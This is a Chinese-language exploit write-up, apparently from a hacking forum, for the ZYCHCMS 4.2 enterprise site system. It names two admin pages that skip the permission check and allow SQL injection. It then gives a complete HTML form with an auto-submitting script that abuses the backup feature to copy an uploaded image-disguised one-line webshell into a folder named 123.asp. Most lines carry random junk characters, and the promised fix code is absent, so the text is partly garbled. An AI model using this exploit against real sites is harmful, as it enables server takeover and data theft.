ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

admin

& l3 l% D! \0 c8 l. i( y8 L% m2 ~

3 a, E, a& V1 t) l9 n' i影响版本：ZYCHCMS企业网站管理系统4.2（存在以下两个文件的版本应该是通杀）
①SQL注射漏洞
漏洞文件：/admin/add_js.asp & /admin/add_xm_jiang.asp
+ i  O, i: a/ ?( i( ` 漏洞原因：未过滤
# U* t' o4 v+ s1 C" _- m- y  U 漏洞代码：
都是相同的，文件开头没有调用过滤文件/admin/seeion.asp，导致没有对当前权限进行判断，就直接操作数据库。
. R$ `# _- N4 `5 p  A9 ?: f 修复方法：在文件开头加入代码

9 o+ _& n1 D# v. d; E) m: D* O8 G
* I! p  }6 L4 B) z) V- G/ z②后台拿WBSHELL
2 E0 N6 z" B; l3 J" G 进入后台有一个数据库备份，可以通过本地提交突破创建.asp后缀文件夹，并将一句话备份进去。
这里在网上找了一个，改了下，将就着用。
1 P3 `! C- W. Z; n 以下是代码本地提交代码
# [9 P$ J6 N0 R# D5 o5 c
5 X; Q+ \' R& f7 C( U+ ?. E. k
<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
% T" m/ x: J$ f <!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
1 t8 M9 U& f$ |2 n6 S4 ^ <tr>
, z- b) u  [4 h4 D( N' M <td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
</tr>
& I) O# R6 k" i2 I$ M <tr>
<td bgcolor=”#FFFFFF”><span class=”back_southidc”>
9 I  U# D3 }! T: K </span>
( ^" U; j9 V, {8 C5 j+ k' T <table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
4 N8 c" z0 e4 m; e2 B <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
<td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
3 N( ?6 m% P$ p- N/ `% u <div align=”left”>
<input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
<!–eg：../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
<input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />
* J: q% v1 z/ y4 s </div></td>
</tr>
0 ~5 N7 Z# m8 p2 v' a+ Y <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
& T3 ^6 @9 W/ P! A, K <td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
<td class=”td”><div align=”left”>
$ i8 I6 k: O4 _# G4 R! ` <input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
/ v: i( b% Q2 E* }& J [如备份目录有该文件，将覆盖，如沒有，将自动创建]</div></td>
</tr>
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
<td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
5 s9 Z0 l1 G% ^' D) j. ~; b9 h; t <td class=”td”><div align=”left”>
<input type=”submit” value=”确定备份” class=”btn”
/ R6 L# U: i9 |7 @! U5 m </div></td>
4 @, U  H6 l. m, Z) ?; d7 [4 N# l </tr>
+ N! \' v) [6 m: y  |  L: C </table></td></tr></form>
</table>
</td>
$ P( t( p: C- [& n& ^ </tr>
</table>
) |# ]3 t& i( k% q <script>
9 J4 g+ q9 x# A3 D) G) O) B8 A; a document.all.add.submit();
</script>




8 c" Y. L3 Q/ l+ C9 Q( n! O
6 q$ i- Z) w. Z3 w& l% u
5 Z% k; H: d; q4 c


* i% I5 R: ~# ]# ^9 T) ]+ x3 |